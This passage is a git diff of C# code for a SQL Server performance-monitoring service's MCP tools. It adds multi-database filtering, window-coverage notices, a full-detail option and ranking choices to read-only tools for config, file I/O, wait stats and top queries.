         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -262,8 +368,7 @@ public static async Task<string> GetQueryStoreHealth(
                         "No Query Store health data available. The query_store_health collector runs hourly (SQL Server 2016+); a server with no rows either predates Query Store or has not completed a cycle yet.");
 
             IEnumerable<DarlingConfigHistoryReader.QueryStoreHealthReadRow> filtered = snapshot.Rows;
-            if (!string.IsNullOrEmpty(database_name))
-                filtered = filtered.Where(r => r.DatabaseName.Equals(database_name, StringComparison.OrdinalIgnoreCase));
+            filtered = MatchesDatabases(filtered, databases, r => r.DatabaseName);
 
             var result = filtered.Select(r => new
             {
@@ -312,13 +417,50 @@ private static int DistinctCaptures(IEnumerable<DateTime> captureTimes) =>
 
     /// <summary>The "empty" miss for a change tool — distinguishes "no snapshots collected yet" from "snapshots
     /// exist but nothing changed", so a caller understands why the history is empty (the on-connect cadence).</summary>
-    private static string NoChanges(string serverName, int hoursBack, int snapshotCount) =>
+    private static string NoChanges(string serverName, int hoursBack, int snapshotCount, McpWindowNotice notice, string? databaseScope = null) =>
         McpHelpers.Status(
             "empty",
             snapshotCount <= 1
-                ? "No configuration change history yet: fewer than two config snapshots have been captured for this server. Config is captured when the service connects to the server, so changes appear once a second connect snapshot exists."
-                : $"No configuration changes detected in the last {hoursBack}h across the captured snapshots.",
-            new { server = serverName, snapshot_count = snapshotCount });
+                ? (databaseScope is null
+                    ? "No configuration change history yet: fewer than two config snapshots have been captured for this server."
+                    : $"No configuration change history yet: fewer than two config snapshots have been captured for {databaseScope} on this server.")
+                  + " Config is captured when the service connects to the server, so changes appear once a second connect snapshot exists."
+                : $"No configuration changes detected in the last {hoursBack}h across the captured snapshots{(databaseScope is null ? "" : " for " + databaseScope)}.",
+            notice.IsUnavailable
+                ? (object)new { server = serverName, snapshot_count = snapshotCount }
+                : (object)new { server = serverName, snapshot_count = snapshotCount, effective_start = notice.EffectiveStart, window_truncated = notice.WindowTruncated, truncation_note = notice.TruncationNote });
+
+    /// <summary>#5245: keeps the rows whose database is one of the chosen ones (ordinal, ignoring case: the match these two
+    /// reads always made against one name); every row for <see cref="DatabaseFilter.All"/>.</summary>
+    internal static IEnumerable<T> MatchesDatabases<T>(IEnumerable<T> rows, DatabaseFilter databases, Func<T, string> database)
+    {
+        if (databases.IsAll)
+            return rows;
+        var names = databases.Names;
+        return rows.Where(r => names.Any(n => n.Equals(database(r), StringComparison.OrdinalIgnoreCase)));
+    }
+
+    /// <summary>How a filtered empty answer names the databases it looked at, after "for ": null for every database (the text is
+    /// then the one it always was), "the database X" for one name, "the chosen databases" for two or more. The same words
+    /// <see cref="DarlingMcpBlockingTools.ForChosenDatabases"/> and Lite's <c>McpDatabaseSelection.ForChosen</c> build.</summary>
+    internal static string? DatabaseScopeText(DatabaseFilter databases) =>
+        databases.IsAll ? null : DarlingMcpBlockingTools.ForChosenDatabases(databases)[" for ".Length..];
+
+    /// <summary>
+    /// The window-floor notice for one change tool, from the collector's own table. The rule matches the viewer's and the web's
+    /// Config Changes notes: the probe counts a snapshot or a logged run INSIDE the window, and a snapshot from BEFORE the window
+    /// does not count as covered. Config is captured on connect, so a server that stayed connected holds no snapshot in a recent
+    /// window; with no run of the collector logged in it either, an empty answer says the store holds no collection there rather
+    /// than claiming the server was monitored. (Lite also counts a pre-window snapshot; Darling deliberately does not, so the tool,
+    /// the viewer and the web page never disagree about the same window.) A change is stamped with the capture_time of the snapshot
+    /// that showed it, which is the probe's column, so no event-time rule applies. A data answer on a window of 90 minutes or less
+    /// starts no probe; an empty one always does.
+    /// </summary>
+    private static Task<McpWindowNotice> ReadNoticeAsync(
+        NpgsqlDataSource postgres, string table, string serverName, DateTime windowStart, DateTime windowEnd, bool emptyAnswer, ILogger? logger, CancellationToken cancellationToken) =>
+        DarlingMcpWindowNotice.ReadAsync(
+            () => DarlingMcpWindowNotice.Probe(postgres, table, serverName, windowStart, windowEnd, cancellationToken),
+            windowStart, windowEnd, table, emptyAnswer: emptyAnswer, logger: logger, cancellationToken: cancellationToken);
 
     /// <summary>Global / Session / Global+Session scope label from the two flags.</summary>
     private static string Scope(bool? isGlobal, bool? isSession) =>
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigTools.cs
index 4967bbb352..376ff82736 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigTools.cs
@@ -16,6 +16,7 @@
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 #pragma warning disable CA1707 // MCP tools use snake_case naming convention
 
@@ -75,10 +76,23 @@ public static async Task<string> GetServerConfig(
     }
 
     [McpServerTool(Name = "get_database_config"), Description("Gets database-level configuration for all databases (sys.databases). Shows recovery model, RCSI, auto-shrink, auto-close, Query Store, compatibility level, page verify, and other settings. Critical for identifying misconfigured databases. LATEST IS A TIME: captured when the collector connects, not on a schedule - captured_at is the instant these settings are as of, and a database created or altered since is not reflected until the next connect.")]
-    public static async Task<string> GetDatabaseConfig(
+    public static Task<string> GetDatabaseConfig(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Filter to a specific database. Omit for all databases.")] string? database_name = null,
+        CancellationToken cancellationToken = default) =>
+        GetDatabaseConfig(postgres, server_name, DatabaseFilter.One(database_name), cancellationToken);
+
+    /// <summary>
+    /// The same read over a SET of databases (#5245). The MCP tool passes <see cref="DatabaseFilter.One"/> of its one
+    /// <c>database_name</c> and the web route passes the repeated keys (#5244). <b>A whitespace-only name now means every database</b>
+    /// (it used to filter to nothing); any other name is matched as before, ignoring case, and a list matches any name in it.
+    /// "Nothing collected" is judged on the whole snapshot, before the filter.
+    /// </summary>
+    internal static async Task<string> GetDatabaseConfig(
+        NpgsqlDataSource postgres,
+        string? server_name,
+        DatabaseFilter databases,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -93,16 +107,16 @@ public static async Task<string> GetDatabaseConfig(
                         "unavailable",
                         "No database configuration data available. The config collector may not have run yet.");
 
-            IEnumerable<DarlingCurrentConfigReader.DatabaseConfigReadRow> filtered = snapshot.Rows;
-            if (!string.IsNullOrEmpty(database_name))
-                filtered = filtered.Where(r => r.DatabaseName.Equals(database_name, StringComparison.OrdinalIgnoreCase));
+            var filtered = DarlingCurrentConfigReader.FilterToDatabases(snapshot.Rows, databases);
 
             var result = filtered.Select(r => new
             {
                 database_name = r.DatabaseName,
                 state = r.StateDesc,
                 compatibility_level = r.CompatibilityLevel,
+                collation = r.CollationName,
                 recovery_model = r.RecoveryModel,
+                read_only = r.IsReadOnly,
                 rcsi = r.IsRcsiOn,
                 snapshot_isolation = r.SnapshotIsolationState,
                 auto_close = r.IsAutoCloseOn,
@@ -116,7 +130,13 @@ public static async Task<string> GetDatabaseConfig(
                 delayed_durability = r.DelayedDurability,
                 target_recovery_time_seconds = r.TargetRecoveryTimeSeconds,
                 encrypted = r.IsEncrypted,
+                trustworthy = r.IsTrustworthyOn,
+                db_chaining = r.IsDbChainingOn,
+                broker_enabled = r.IsBrokerEnabled,
+                cdc_enabled = r.IsCdcEnabled,
+                mixed_page_allocation = r.IsMixedPageAllocationOn,
                 accelerated_database_recovery = r.IsAcceleratedDatabaseRecoveryOn,
+                memory_optimized = r.IsMemoryOptimizedEnabled,
                 optimized_locking = r.IsOptimizedLockingOn,
                 log_reuse_wait = r.LogReuseWaitDesc
             }).ToList();
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpCustomViewTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpCustomViewTools.cs
index 26541a5d5c..44f9cc26ac 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpCustomViewTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpCustomViewTools.cs
@@ -243,13 +243,15 @@ public static async Task<string> DeleteCustomView(
     [McpServerTool(Name = "run_custom_view_panel"), Description(
         "Runs one composed (v2) panel and returns DATA: {sql, rows, annotations, notice?}, with no 'status' " +
         "field on success. Failures return {status, message}: \"invalid\" for a bad spec or panel, or a " +
-        "failed or timed-out query; \"error\" for an internal fault. notice means retention covered only " +
-        "part of the window, or the row cap truncated the result; absent means neither happened. Window ends " +
-        "now: 'hours' (default 24), unless ISO-8601 'windowStart'+'windowEnd' win instead (max 90 days; old " +
-        "windows read rollups). 'server' omitted or \"All\" runs the whole fleet. Only 'panel' is " +
-        "required. <<GUIDE>> " +
+        "failed or timed-out query; \"error\" for an internal fault. notice is a partial-window caveat: the " +
+        "tier's retention could not cover the window, or the panel's own data starts after the window does, " +
+        "or the row cap truncated the result; absent means the window was served whole. Window ends now: " +
+        "'hours' (default 24), unless ISO-8601 'windowStart'+'windowEnd' win. Only 'panel' is required. " +
+        "<<GUIDE>> " +
         "Runs a single composed (v2) panel and returns the DATA it produces — {sql, rows, annotations, notice?} " +
-        "(notice = a partial-window caveat when the store's retention cannot cover the whole requested range) — " +
+        "(notice is a partial-window caveat: the tier's retention could not cover the window, or the panel's own " +
+        "data starts after the window does, or the row cap truncated the result; absent means the window was " +
+        "served whole) — " +
         "so a generated view can be checked end-to-end without saving it. This is the SAME compile-and-run the " +
         "web composer's live preview uses: the panel is validated, compiled to catalog-only bound SQL, and " +
         "executed against the collected store under a statement_timeout. The spec is a JSON object " +
@@ -283,11 +285,12 @@ public static async Task<string> RunCustomViewPanel(
 
             /* #4782: readLatency is a DI service (never in the advertised schema), the MCP host's read-latency
                seat; the shared runner records this run into it as one Compose sample. Optional, so a direct
-               caller (a test) records nothing. */
-            var outcome = await DarlingWebEndpoints.RunComposedPanelAsync(postgres, body, CancellationToken.None, readLatency);
+               caller (a test) records nothing. A client-timer timeout answers the statement-timeout text,
+               the same as the server's own 57014. */
+            var outcome = await DarlingWebEndpoints.RunComposedPanelAsync(postgres, body, CancellationToken.None, readLatency, remapClientTimeout: true);
             return outcome.Payload is not null
                 ? outcome.Payload.ToJsonString(McpHelpers.JsonOptions)
-                : Outcome(outcome.IsServerError ? "error" : "invalid", outcome.Error!);
+                : Outcome(outcome.IsNotFound ? "not_found" : outcome.IsServerError ? "error" : "invalid", outcome.Error!);
         }
         catch (Exception ex)
         {
@@ -319,7 +322,7 @@ public static async Task<string> RunCustomViewPanel(
         "measures (every field below, filtered to this source), dimensions (this source's filterable/groupable " +
         "columns), annotationSources, ...the same small vocabularies}. An unmatched source comes back with empty " +
         "measures/dimensions and a note, not an error. " +
-        "FULL_DETAIL=true (or full_detail with source: same, unfiltered): today's original shape, {measures, " +
+        "FULL DETAIL (full_detail=true without source; with a source, the drill-down above already carries every field): today's original shape, {measures, " +
         "dimensions, annotationSources, universalDimensions, unitFamilies, aggregates, timeBuckets, filterOps, " +
         "viz}, every measure/dimension/annotationSource at every field — the same shape web /api/catalog serves " +
         "the Custom Views editor (unrelated to this default; the editor always gets the full catalog). " +
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs
index 95c8571fe1..fd0fb37d84 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs
@@ -12,8 +12,10 @@
 using System.Globalization;
 using System.Linq;
 using System.Text.Json;
+using System.Text.Json.Nodes;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Alerting;
@@ -77,7 +79,8 @@ internal static async Task<string> GetCpuUtilization(
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: reaches the raw table's 30-day retention (720 h); 0.62 s at 30 days on a large store. The ceiling is the WebReadReach row. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_cpu_utilization"), out var windowEnd);
         if (validation != null) return validation;
 
         var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, 1, budget, out var bucketMinutes);
@@ -108,6 +111,7 @@ public static async Task<string> GetWaitStats(
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description("Maximum wait types to return, heaviest first. Default 20. This is what bounds the page — read truncated to know whether the window observed more.")] int limit = 20,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -145,10 +149,23 @@ public static async Task<string> GetWaitStats(
                 };
             });
 
-            return JsonSerializer.Serialize(new
+
+            /* #4966: the window-floor notice. The read windows on collection_time over the raw wait_stats (through its view, no rollup tier),
+               the column the probe reads. A rank cap hides no time range, so the coverage rule applies on a capped page too and
+               the two flags are independent. Only a data answer carries it; the no-rows answers above stay bare. A window of 90
+               minutes or less that answered rows starts no probe. */
+            var windowStart = now.AddHours(-hours_back);
+            var notice = await DarlingMcpWindowNotice.ReadAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "wait_stats", resolved.ServerName, windowStart, now, cancellationToken),
+                windowStart, now, "wait_stats", logger: logger, cancellationToken: cancellationToken);
+
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 /* #3541 A3: the page described as a page. No time bounds here — the rows are per-type
                    aggregates over the whole window, so there is no page reach to report, only a cap. */
                 wait_types_returned = page.Count,
@@ -156,6 +173,7 @@ public static async Task<string> GetWaitStats(
                 order = "total_wait_time_ms_desc",
                 waits = result
             }, McpHelpers.JsonOptions);
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -239,7 +257,8 @@ internal static async Task<string> GetWaitTrend(
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: reaches the raw table's 30-day retention (720 h); 0.70 s at 30 days on a large store. The ceiling is the WebReadReach row. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_wait_trend"), out var windowEnd);
         if (validation != null) return validation;
 
         var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, 1, budget, out var bucketMinutes);
@@ -415,26 +434,58 @@ with the read by construction and tell the caller nothing it did not already hav
     }
 
     [McpServerTool(Name = "get_file_io_stats"), Description("Gets the latest per-database-file I/O stats: read/write counts, bytes, stall times, calculated latency. LATEST IS A TIME: the newest snapshot, not a window; captured_at is when it was collected, and the deltas cover the sample_interval_seconds ending there. sample_interval_seconds 0 means no delta was knowable for that file (first sighting, counter reset, a gap) and that row's latencies are null, not 0. <<GUIDE>> Gets the latest file I/O statistics per database file: read/write counts, bytes, stall times, and calculated latency. High read latency (>20ms) or write latency (>10ms for data, >2ms for log) often indicates storage bottlenecks. Each row carries sample_interval_seconds, the measured seconds its deltas accrued over; a 0 means no delta was knowable for that file at this collection (first sighting, counter reset, or a gap past the delta policy — typically a restart) and its latencies are null rather than 0. LATEST IS A TIME: this reads the newest file-I/O snapshot, not a window, and captured_at is the instant it was collected; the deltas cover the sample_interval_seconds ending there.")]
-    public static async Task<string> GetFileIoStats(
+    public static Task<string> GetFileIoStats(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
-        CancellationToken cancellationToken = default)
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
+        CancellationToken cancellationToken = default) =>
+        GetFileIoStats(postgres, server_name, DatabaseFilter.One(database_name), cancellationToken);
+
+    /// <summary>
+    /// get_file_io_stats limited to <paramref name="databases"/> (#5244; <see cref="DatabaseFilter.All"/> is every database).
+    /// The filter is on the snapshot's ROWS: the capture is the server's newest whatever the filter, so a filtered and an
+    /// unfiltered call show the same <c>captured_at</c>. Three one-name consumers of the unfiltered read are list-aware here:
+    /// a filtered read that finds no row is <c>empty</c> (the newest capture exists and holds none of the chosen databases)
+    /// rather than <c>unavailable</c> (nothing was ever collected, the answer the unfiltered read gives), the
+    /// not-collected envelopes carry the echo, and every answer says which databases it was limited to.
+    /// </summary>
+    internal static async Task<string> GetFileIoStats(
+        NpgsqlDataSource postgres, string? server_name, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
         try
         {
-            var snapshot = await DarlingDataReader.GetLatestFileIoStatsAsync(postgres, resolved.ServerId, cancellationToken);
+            var snapshot = await DarlingDataReader.GetLatestFileIoStatsAsync(postgres, resolved.ServerId, databases, cancellationToken);
             if (snapshot.IsEmpty)
-                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "file_io_stats", cancellationToken)
-                    ?? McpHelpers.Status("unavailable", "No file I/O stats available.");
+            {
+                if (!databases.IsAll)
+                {
+                    var capturedAt = await DarlingDataReader.GetLatestFileIoCaptureAsync(postgres, resolved.ServerId, cancellationToken);
+                    if (capturedAt is not null)
+                    {
+                        return McpHelpers.StatusForDatabase(
+                            "empty",
+                            $"The newest file I/O snapshot for {resolved.ServerName} (captured_at {capturedAt.Value.ToString("o")}) holds no files{DarlingMcpBlockingTools.ForChosenDatabases(databases)}. "
+                            + $"The {(databases.Names.Count == 1 ? "name" : "names")}"
+                            + " must match a collected database exactly; omit database_name for every database.",
+                            databases.Describe());
+                    }
+                }
+
+                return McpHelpers.WithDatabase(
+                           await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "file_io_stats", cancellationToken),
+                           databases.Describe())
+                    ?? McpHelpers.StatusForDatabase("unavailable", "No file I/O stats available.", databases.Describe());
+            }
 
             var result = snapshot.Rows.Select(FileIoRowPayload);
 
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
+                database_name = databases.Describe(),
                 captured_at = snapshot.CapturedAt!.Value.ToString("o"),
                 files = result
             }, McpHelpers.JsonOptions);
@@ -493,7 +544,8 @@ internal static async Task<string> GetTempDbTrend(
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: reaches the raw table's 30-day retention (720 h); 0.90 s at 30 days on a large store. The ceiling is the WebReadReach row. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_tempdb_trend"), out var windowEnd);
         if (validation != null) return validation;
 
         var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, 1, budget, out var bucketMinutes);
@@ -565,8 +617,8 @@ public static async Task<string> GetPerfmonStats(
 
     /* ═══════════════════════════ query performance ═══════════════════════════ */
 
-    [McpServerTool(Name = "get_top_queries_by_cpu"), Description("Gets expensive cached queries from sys.dm_exec_query_stats, ranked by CPU over a window ending at as_of. Filters (database_name, parallel_only, min_dop) apply before the top-N cap: filter_applied names the floor in force, and an empty page under it is the window's real answer, not a miss. min/max_cpu_ms and min/max_elapsed_ms are LIFETIME extremes, not windowed; cpu_attribution's ratio is omitted, not invented, when its inputs are missing. window_truncated marks a window floor, not a page cut; effective_start / effective_hours_back give the reach actually served. <<GUIDE>> On tier_used=hourly, min/max_cpu_ms and min/max_elapsed_ms are null, as are the columns the rollup does not carry (see precision_note), and parallel_only/min_dop/group_by=host_object keep the read on raw. Gets expensive queries from sys.dm_exec_query_stats (plan cache). Best for: currently cached queries with detailed per-execution stats, DOP, spills, and query_hash for trending. Returns query_hash, query_plan_hash, sql_handle, plan_handle, and host_object (the hosting procedure/function for proc-hosted statements, null for ad-hoc) — groups key on (database, query_hash, host_object), so INSERT...EXEC callers in different procedures report separately with their own text. distinct_texts counts statement texts merged into a group (>1 = ad-hoc literal variants or pre-upgrade history; query_text is one representative, 0 means only rows predating the text dimension). 'host_object' rolls all of a procedure's statements into one row — use it when dynamic SQL with per-value literals fragments one statement across many hashes, which no top-N-by-hash ranking can surface. Ad-hoc statements have no host object and stay grouped per hash in both modes. distinct_query_hashes reports how many hashes a row rolled up. Set group_by='host_object' to roll all of a procedure's statements into one row — necessary when dynamic SQL with per-value literals fragments one statement across many hashes, which no top-N-by-hash ranking can surface. Supports database and parallelism filtering; every filter is applied IN the query before the ranking and the cap, so the page is the top-N of the FILTERED population (filter_applied names the parallelism floor in force, null when none), and an empty page under parallel_only/min_dop is the window's answer rather than a page artefact. min/max_cpu_ms and min/max_elapsed_ms are LIFETIME extremes for the plan's time in cache (same semantics as max_dop), not windowed — totals and avgs are windowed deltas; rows where an extreme provably predates the window carry extremes_note. max_dop comes from sys.dm_exec_query_stats and is a lifetime-max for the plan's time in cache, so a plan compiled before MAXDOP was lowered keeps reporting the old higher value until it is evicted or recompiled; confirm current parallelism with analyze_query_plan, which reads the actual plan." + McpHelpers.WindowTruncatedDescription + " " + McpToolGuideTopics.CpuTimeExtremesAndAttribution)]
-    public static async Task<string> GetTopQueriesByCpu(
+    [McpServerTool(Name = "get_top_queries_by_cpu"), Description("Gets expensive cached queries from sys.dm_exec_query_stats, ranked by CPU over a window ending at as_of. Filters (database_name, parallel_only, min_dop) apply before the top-N cap: filter_applied names the floor in force, and an empty page under it is the window's real answer, not a miss. min/max_cpu_ms and min/max_elapsed_ms are LIFETIME extremes, not windowed; cpu_attribution's ratio is omitted, not invented, when its inputs are missing. window_truncated marks a window floor, not a page cut; effective_start / effective_hours_back give the reach actually served. <<GUIDE>> On tier_used=hourly, min/max_cpu_ms and min/max_elapsed_ms are null, as are the columns the rollup does not carry (see precision_note), and parallel_only/min_dop/group_by=host_object keep the read on raw. Gets expensive queries from sys.dm_exec_query_stats (plan cache). Best for: currently cached queries with detailed per-execution stats, DOP, spills, and query_hash for trending. Returns query_hash, query_plan_hash, sql_handle, plan_handle, and host_object (the hosting procedure/function for proc-hosted statements, null for ad-hoc) — groups key on (database, query_hash, host_object), so INSERT...EXEC callers in different procedures report separately with their own text. distinct_texts counts statement texts merged into a group (>1 = ad-hoc literal variants or pre-upgrade history; query_text is one representative, 0 means only rows predating the text dimension). 'host_object' rolls all of a procedure's statements into one row — use it when dynamic SQL with per-value literals fragments one statement across many hashes, which no top-N-by-hash ranking can surface. Ad-hoc statements have no host object and stay grouped per hash in both modes. distinct_query_hashes reports how many hashes a row rolled up. Set group_by='host_object' to roll all of a procedure's statements into one row — necessary when dynamic SQL with per-value literals fragments one statement across many hashes, which no top-N-by-hash ranking can surface. detail='full' adds the desktop grid's remaining columns (last_execution_time, creation_time, physical-read, row, grant, spill and thread min/max, total_clr_ms, plan_generation_num, worker_time_per_second), non-null only, raw tier only. Supports database and parallelism filtering; every filter is applied IN the query before the ranking and the cap, so the page is the top-N of the FILTERED population (filter_applied names the parallelism floor in force, null when none), and an empty page under parallel_only/min_dop is the window's answer rather than a page artefact. min/max_cpu_ms and min/max_elapsed_ms are LIFETIME extremes for the plan's time in cache (same semantics as max_dop), not windowed — totals and avgs are windowed deltas; rows where an extreme provably predates the window carry extremes_note. max_dop comes from sys.dm_exec_query_stats and is a lifetime-max for the plan's time in cache, so a plan compiled before MAXDOP was lowered keeps reporting the old higher value until it is evicted or recompiled; confirm current parallelism with analyze_query_plan, which reads the actual plan." + McpHelpers.WindowTruncatedDescription + " " + McpToolGuideTopics.CpuTimeExtremesAndAttribution)]
+    public static Task<string> GetTopQueriesByCpu(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
@@ -576,11 +628,42 @@ public static async Task<string> GetTopQueriesByCpu(
         [Description("Minimum DOP to filter on. Implies parallel filtering. Filters the same lifetime-max value as parallel_only, not current parallelism.")] int min_dop = 0,
         [Description("Grouping. 'query_hash' (default): one row per (database, query_hash, host_object). 'host_object': rolls a proc's statements into ONE row. See the tool's reading guide.")] string group_by = "query_hash",
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("'summary' (default) or 'full': full adds the remaining desktop columns (grants, threads, extremes, times), omitting nulls.")] string detail = "summary",
         CancellationToken cancellationToken = default)
+        => GetTopQueriesRanked(postgres, server_name, hours_back, top, database_name, parallel_only, min_dop, group_by, as_of, detail, order_by: null, cancellationToken);
+
+    /// <summary>
+    /// #5226: the body of <see cref="GetTopQueriesByCpu"/> with the ranking choice the web page offers. The MCP tool
+    /// stays CPU-only (it calls this with no <paramref name="order_by"/>, and its parameters and description are
+    /// unchanged); the web read dispatch passes the page's <c>order_by</c> (cpu, duration, reads or executions; absent
+    /// is cpu). An unknown value is refused, which the web answers as a 400, the way it answers a bad
+    /// <c>detail</c> or <c>group_by</c>.
+    /// </summary>
+    internal static Task<string> GetTopQueriesRanked(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, int top, string? database_name, bool parallel_only, int min_dop,
+        string group_by, string? as_of, string detail, string? order_by, CancellationToken cancellationToken) =>
+        GetTopQueriesRanked(
+            postgres, server_name, hours_back, top, DatabaseFilter.One(database_name), parallel_only, min_dop, group_by, as_of, detail, order_by, cancellationToken);
+
+    /// <summary>
+    /// #5245: <see cref="GetTopQueriesRanked(NpgsqlDataSource,string,int,int,string,bool,int,string,string,string,string,CancellationToken)"/>
+    /// over a SET of databases. The MCP tool and the web read pass <see cref="DatabaseFilter.One"/> of their one
+    /// <c>database_name</c> until the parameter becomes a list; the page is the top N of the chosen databases, on the raw
+    /// and the hourly tier alike.
+    /// </summary>
+    internal static async Task<string> GetTopQueriesRanked(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, int top, DatabaseFilter databases, bool parallel_only, int min_dop,
+        string group_by, string? as_of, string detail, string? order_by, CancellationToken cancellationToken)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
+        var full = string.Equals(detail, "full", StringComparison.OrdinalIgnoreCase);
+        if (!full && !string.Equals(detail, "summary", StringComparison.OrdinalIgnoreCase))
+        {
+            return McpHelpers.Refusal("detail", $"detail must be 'summary' or 'full' (got '{detail}').");
+        }
+
         /* #2235: an unrecognised value must not silently fall back to the default grouping — a caller who
            asked for a rollup and got a per-hash ranking would read it as "this proc is not hot", which is
            the exact wrong conclusion this option exists to prevent. */
@@ -591,6 +674,13 @@ the exact wrong conclusion this option exists to prevent. */
                 $"group_by must be 'query_hash' or 'host_object' (got '{group_by}').");
         }
 
+        /* #5226: an unknown ranking is refused, never read as cpu — a caller who asked for duration and got a CPU
+           page would read it as "nothing long-running here", the exact miss this option exists to close. */
+        if (!TopRankings.TryParse(order_by, out var ranking))
+        {
+            return McpHelpers.Refusal("order_by", $"order_by must be {TopRankings.Accepted} (got '{order_by}').");
+        }
+
         var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
         if (validation != null) return validation;
         validation = McpHelpers.ValidateTop(top, "top");
@@ -613,7 +703,7 @@ the exact wrong conclusion this option exists to prevent. */
             var now = windowEnd;
             var requestedStart = now.AddHours(-hours_back);
             var routed = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(
-                postgres, resolved.ServerId, requestedStart, now, top, database_name, rollUpByHostObject: rollUp, minMaxDop: minMaxDop, cancellationToken: cancellationToken);
+                postgres, resolved.ServerId, requestedStart, now, top, databases, rollUpByHostObject: rollUp, minMaxDop: minMaxDop, ranking: ranking, cancellationToken: cancellationToken);
             var rows = routed.Rows;
             var tierUsed = routed.Tier == RetentionTier.Hourly ? "hourly" : "raw";
 
@@ -624,7 +714,21 @@ the exact wrong conclusion this option exists to prevent. */
             string? precisionNote = null;
             if (routed.RawForced)
             {
-                precisionNote = "parallel_only / min_dop / group_by=host_object need per-row DOP and host_object, which only raw query_stats carries; this read stayed on raw, which reaches back to effective_start (window_truncated says whether that cut the window).";
+                var forcedBy = new List<string>();
+                if (minMaxDop > 0 || rollUp)
+                {
+                    forcedBy.Add("parallel_only / min_dop / group_by=host_object need per-row DOP and host_object, which only raw query_stats carries; this read stayed on raw, which reaches back to effective_start (window_truncated says whether that cut the window).");
+                }
+
+                if (ranking == TopRanking.Reads && routed.ReadsForcedRaw)
+                {
+                    /* #5329: reads is answered from collect.query_stats_io_hourly when it reaches the window's start (or reaches further back than raw), and
+                       from raw otherwise: this read is the raw one, so the io rollup was absent, empty or reached no
+                       further back than raw does. The stitched rollups keep no logical reads. */
+                    forcedBy.Add("order_by=reads needs per-query logical reads. Only raw query_stats and the io hourly rollup (query_stats_io_hourly) carry them, and that rollup was absent, empty or did not reach back further than raw on this store, so this read came from raw query_stats, which reaches back to effective_start (window_truncated says whether that cut the window). Rank by cpu, duration or executions to read the other hourly rollups.");
+                }
+
+                precisionNote = string.Join(" ", forcedBy);
             }
 
             /* #4231: what the raw tier actually held, beside what was asked for. Rows above are top-N by CPU,
@@ -642,20 +746,49 @@ the exact wrong conclusion this option exists to prevent. */
